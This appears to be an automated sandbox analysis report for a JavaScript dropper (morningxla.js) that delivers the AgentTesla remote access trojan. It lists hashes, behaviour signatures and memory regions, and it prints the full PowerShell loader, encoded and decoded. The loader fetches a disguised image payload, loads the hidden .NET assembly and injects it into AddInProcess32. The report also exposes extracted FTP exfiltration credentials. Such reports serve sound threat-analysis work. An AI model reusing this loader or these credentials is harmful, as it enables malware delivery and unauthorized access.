Analysis

  • max time kernel
    149s
  • max time network
    149s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240412-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240412-enlocale:en-usos:windows10-2004-x64system
  • submitted
    25-04-2024 09:42

General

  • Target

    morningxla.js

  • Size

    5KB

  • MD5

    8cf579f458819a211f06d8d115980db4

  • SHA1

    07a073341bb83d3ca8bd3ce21edaa5c3e631087a

  • SHA256

    65545c87941558733f8e159addc75b5f17e2597e05af3055a708fd49a6164f91

  • SHA512

    5fd3280406cc5e4c72209ea9712ee905e27b7804dd56c80ae1c33896a837c517a43485658be3095926457a35000d7f5521d6711092b8ebdaf948cbb5308bd7d6

  • SSDEEP

    96:7riEOkQDTAvKq8YjBPBERHnfrL3DGZzmwI7:HiEN1xAL3DGZzq

Malware Config

Extracted

Family

agenttesla

Credentials

  • Protocol:
    ftp
  • Host:
    ftp://ftp.fosna.net
  • Port:
    21
  • Username:
    [email protected]
  • Password:
    =A+N^@~c]~#I

Signatures

  • AgentTesla

    Agent Tesla is a remote access tool (RAT) written in visual basic.

  • Blocklisted process makes network request 4 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of WriteProcessMemory 12 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\morningxla.js
    1⤵
    • Blocklisted process makes network request
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:3412
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$Codigo = 'ZnVuY3Rpb24gRG93bmxvYWREYXRhRnJvbUxpbmtzIHsgcGFyYW0gKFtzdHJpbmdbXV0kbGlua3MpICR3ZWJDbGllbnQgPSBOZXctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2xpZW50OyAkZG93bmxvYWRlZERhdGEgPSBAKCk7ICRzaHVmZmxlZExpbmtzID0gJGxpbmtzIHwgR2V0LVJhbmRvbSAtQ291bnQgJGxpbmtzLkxlbmd0aDsgZm9yZWFjaCAoJGxpbmsgaW4gJHNodWZmbGVkTGlua3MpIHsgdHJ5IHsgJGRvd25sb2FkZWREYXRhICs9ICR3ZWJDbGllbnQuRG93bmxvYWREYXRhKCRsaW5rKSB9IGNhdGNoIHsgY29udGludWUgfSB9OyByZXR1cm4gJGRvd25sb2FkZWREYXRhIH07ICRsaW5rcyA9IEAoJ2h0dHBzOi8vdXBsb2FkZGVpbWFnZW5zLmNvbS5ici9pbWFnZXMvMDA0Lzc3My84MTIvb3JpZ2luYWwvanMuanBnPzE3MTM4ODI3NzgnLCAnaHR0cHM6Ly91cGxvYWRkZWltYWdlbnMuY29tLmJyL2ltYWdlcy8wMDQvNzczLzgxMi9vcmlnaW5hbC9qcy5qcGc/MTcxMzg4Mjc3OCcpOyAkaW1hZ2VCeXRlcyA9IERvd25sb2FkRGF0YUZyb21MaW5rcyAkbGlua3M7IGlmICgkaW1hZ2VCeXRlcyAtbmUgJG51bGwpIHsgJGltYWdlVGV4dCA9IFtTeXN0ZW0uVGV4dC5FbmNvZGluZ106OlVURjguR2V0U3RyaW5nKCRpbWFnZUJ5dGVzKTsgJHN0YXJ0RmxhZyA9ICc8PEJBU0U2NF9TVEFSVD4+JzsgJGVuZEZsYWcgPSAnPDxCQVNFNjRfRU5EPj4nOyAkc3RhcnRJbmRleCA9ICRpbWFnZVRleHQuSW5kZXhPZigkc3RhcnRGbGFnKTsgJGVuZEluZGV4ID0gJGltYWdlVGV4dC5JbmRleE9mKCRlbmRGbGFnKTsgaWYgKCRzdGFydEluZGV4IC1nZSAwIC1hbmQgJGVuZEluZGV4IC1ndCAkc3RhcnRJbmRleCkgeyAkc3RhcnRJbmRleCArPSAkc3RhcnRGbGFnLkxlbmd0aDsgJGJhc2U2NExlbmd0aCA9ICRlbmRJbmRleCAtICRzdGFydEluZGV4OyAkYmFzZTY0Q29tbWFuZCA9ICRpbWFnZVRleHQuU3Vic3RyaW5nKCRzdGFydEluZGV4LCAkYmFzZTY0TGVuZ3RoKTsgJGNvbW1hbmRCeXRlcyA9IFtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoJGJhc2U2NENvbW1hbmQpOyAkbG9hZGVkQXNzZW1ibHkgPSBbU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHldOjpMb2FkKCRjb21tYW5kQnl0ZXMpOyAkdHlwZSA9ICRsb2FkZWRBc3NlbWJseS5HZXRUeXBlKCdQUk9KRVRPQVVUT01BQ0FPLlZCLkhvbWUnKTsgJG1ldGhvZCA9ICR0eXBlLkdldE1ldGhvZCgnVkFJJykuSW52b2tlKCRudWxsLCBbb2JqZWN0W11dICgndHh0LjQ0NDQ2ZXphYi83Ny4wNi41OS4zMi8vOnB0dGgnICwgJ2Rlc2F0aXZhZG8nICwgJ2Rlc2F0aXZhZG8nICwgJ2Rlc2F0aXZhZG8nLCdBZGRJblByb2Nlc3MzMicsJ2Rlc2F0aXZhZG8nKSl9fQ==';$OWjuxd = (New-Object System.Text.UTF8Encoding).GetString([System.Convert]::FromBase64String($Codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:3044
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "function DownloadDataFromLinks { param ([string[]]$links) $webClient = New-Object System.Net.WebClient; $downloadedData = @(); $shuffledLinks = $links | Get-Random -Count $links.Length; foreach ($link in $shuffledLinks) { try { $downloadedData += $webClient.DownloadData($link) } catch { continue } }; return $downloadedData }; $links = @('https://uploaddeimagens.com.br/images/004/773/812/original/js.jpg?1713882778', 'https://uploaddeimagens.com.br/images/004/773/812/original/js.jpg?1713882778'); $imageBytes = DownloadDataFromLinks $links; if ($imageBytes -ne $null) { $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); if ($startIndex -ge 0 -and $endIndex -gt $startIndex) { $startIndex += $startFlag.Length; $base64Length = $endIndex - $startIndex; $base64Command = $imageText.Substring($startIndex, $base64Length); $commandBytes = [System.Convert]::FromBase64String($base64Command); $loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes); $type = $loadedAssembly.GetType('PROJETOAUTOMACAO.VB.Home'); $method = $type.GetMethod('VAI').Invoke($null, [object[]] ('txt.44446ezab/77.06.59.32//:ptth' , 'desativado' , 'desativado' , 'desativado','AddInProcess32','desativado'))}}"
        3⤵
        • Blocklisted process makes network request
        • Suspicious use of SetThreadContext
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2768
        • C:\Windows\Microsoft.Net\Framework\v4.0.30319\AddInProcess32.exe
          "C:\Windows\Microsoft.Net\Framework\v4.0.30319\AddInProcess32.exe"
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:4156
  • C:\Windows\system32\rundll32.exe
    "C:\Windows\system32\rundll32.exe" "C:\Windows\SYSTEM32\EDGEHTML.dll",#141 Microsoft.VCLibs.140.00_8wekyb3d8bbwe
    1⤵
      PID:4424
    • C:\Windows\System32\svchost.exe
      C:\Windows\System32\svchost.exe -k UnistackSvcGroup
      1⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:624

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
      Filesize

      3KB

      MD5

      f41839a3fe2888c8b3050197bc9a0a05

      SHA1

      0798941aaf7a53a11ea9ed589752890aee069729

      SHA256

      224331b7bfae2c7118b187f0933cdae702eae833d4fed444675bd0c21d08e66a

      SHA512

      2acfac3fbe51e430c87157071711c5fd67f2746e6c33a17accb0852b35896561cec8af9276d7f08d89999452c9fb27688ff3b7791086b5b21d3e59982fd07699

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
      Filesize

      1KB

      MD5

      0f6a3762a04bbb03336fb66a040afb97

      SHA1

      0a0495c79f3c8f4cb349d82870ad9f98fbbaac74

      SHA256

      36e2fac0ab8aee32e193491c5d3df9374205e328a74de5648e7677eae7e1b383

      SHA512

      cc9ebc020ec18013f8ab4d6ca5a626d54db84f8dc2d97e538e33bb9a673344a670a2580346775012c85f204472f7f4dd25a34e59f1b827642a21db3325424b69

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_2vzvbddz.aol.ps1
      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    • memory/624-98-0x000002C6975F0000-0x000002C6975F1000-memory.dmp
      Filesize

      4KB

    • memory/624-90-0x000002C6979D0000-0x000002C6979D1000-memory.dmp
      Filesize

      4KB

    • memory/624-101-0x000002C68EDF0000-0x000002C68EDF1000-memory.dmp
      Filesize

      4KB

    • memory/624-82-0x000002C6979D0000-0x000002C6979D1000-memory.dmp
      Filesize

      4KB

    • memory/624-95-0x000002C697600000-0x000002C697601000-memory.dmp
      Filesize

      4KB

    • memory/624-92-0x000002C697600000-0x000002C697601000-memory.dmp
      Filesize

      4KB

    • memory/624-93-0x000002C6975F0000-0x000002C6975F1000-memory.dmp
      Filesize

      4KB

    • memory/624-115-0x000002C697740000-0x000002C697741000-memory.dmp
      Filesize

      4KB

    • memory/624-116-0x000002C697740000-0x000002C697741000-memory.dmp
      Filesize

      4KB

    • memory/624-117-0x000002C697850000-0x000002C697851000-memory.dmp
      Filesize

      4KB

    • memory/624-91-0x000002C6979D0000-0x000002C6979D1000-memory.dmp
      Filesize

      4KB

    • memory/624-113-0x000002C697730000-0x000002C697731000-memory.dmp
      Filesize

      4KB

    • memory/624-89-0x000002C6979D0000-0x000002C6979D1000-memory.dmp
      Filesize

      4KB

    • memory/624-88-0x000002C6979D0000-0x000002C6979D1000-memory.dmp
      Filesize

      4KB

    • memory/624-87-0x000002C6979D0000-0x000002C6979D1000-memory.dmp
      Filesize

      4KB

    • memory/624-86-0x000002C6979D0000-0x000002C6979D1000-memory.dmp
      Filesize

      4KB

    • memory/624-85-0x000002C6979D0000-0x000002C6979D1000-memory.dmp
      Filesize

      4KB

    • memory/624-84-0x000002C6979D0000-0x000002C6979D1000-memory.dmp
      Filesize

      4KB

    • memory/624-83-0x000002C6979D0000-0x000002C6979D1000-memory.dmp
      Filesize

      4KB

    • memory/624-65-0x000002C68F440000-0x000002C68F450000-memory.dmp
      Filesize

      64KB

    • memory/624-81-0x000002C6979B0000-0x000002C6979B1000-memory.dmp
      Filesize

      4KB

    • memory/2768-36-0x00007FFF3E0F0000-0x00007FFF3EBB1000-memory.dmp
      Filesize

      10.8MB

    • memory/2768-32-0x000001A6B0000000-0x000001A6B02C0000-memory.dmp
      Filesize

      2.8MB

    • memory/2768-29-0x00007FFF3E0F0000-0x00007FFF3EBB1000-memory.dmp
      Filesize

      10.8MB

    • memory/2768-30-0x000001A6F71A0000-0x000001A6F71B0000-memory.dmp
      Filesize

      64KB

    • memory/2768-31-0x000001A6F71A0000-0x000001A6F71B0000-memory.dmp
      Filesize

      64KB

    • memory/3044-41-0x00007FFF3E0F0000-0x00007FFF3EBB1000-memory.dmp
      Filesize

      10.8MB

    • memory/3044-19-0x0000026A5B2B0000-0x0000026A5B2C0000-memory.dmp
      Filesize

      64KB

    • memory/3044-12-0x0000026A5B270000-0x0000026A5B292000-memory.dmp
      Filesize

      136KB

    • memory/3044-17-0x00007FFF3E0F0000-0x00007FFF3EBB1000-memory.dmp
      Filesize

      10.8MB

    • memory/3044-18-0x0000026A5B2B0000-0x0000026A5B2C0000-memory.dmp
      Filesize

      64KB

    • memory/4156-48-0x0000000005BB0000-0x0000000005BC0000-memory.dmp
      Filesize

      64KB

    • memory/4156-44-0x0000000006C20000-0x0000000006C70000-memory.dmp
      Filesize

      320KB

    • memory/4156-45-0x0000000006D10000-0x0000000006DA2000-memory.dmp
      Filesize

      584KB

    • memory/4156-46-0x0000000006CA0000-0x0000000006CAA000-memory.dmp
      Filesize

      40KB

    • memory/4156-47-0x00000000748E0000-0x0000000075090000-memory.dmp
      Filesize

      7.7MB

    • memory/4156-33-0x0000000000400000-0x0000000000442000-memory.dmp
      Filesize

      264KB

    • memory/4156-43-0x0000000005A60000-0x0000000005AC6000-memory.dmp
      Filesize

      408KB

    • memory/4156-40-0x00000000748E0000-0x0000000075090000-memory.dmp
      Filesize

      7.7MB

    • memory/4156-42-0x0000000006170000-0x0000000006714000-memory.dmp
      Filesize

      5.6MB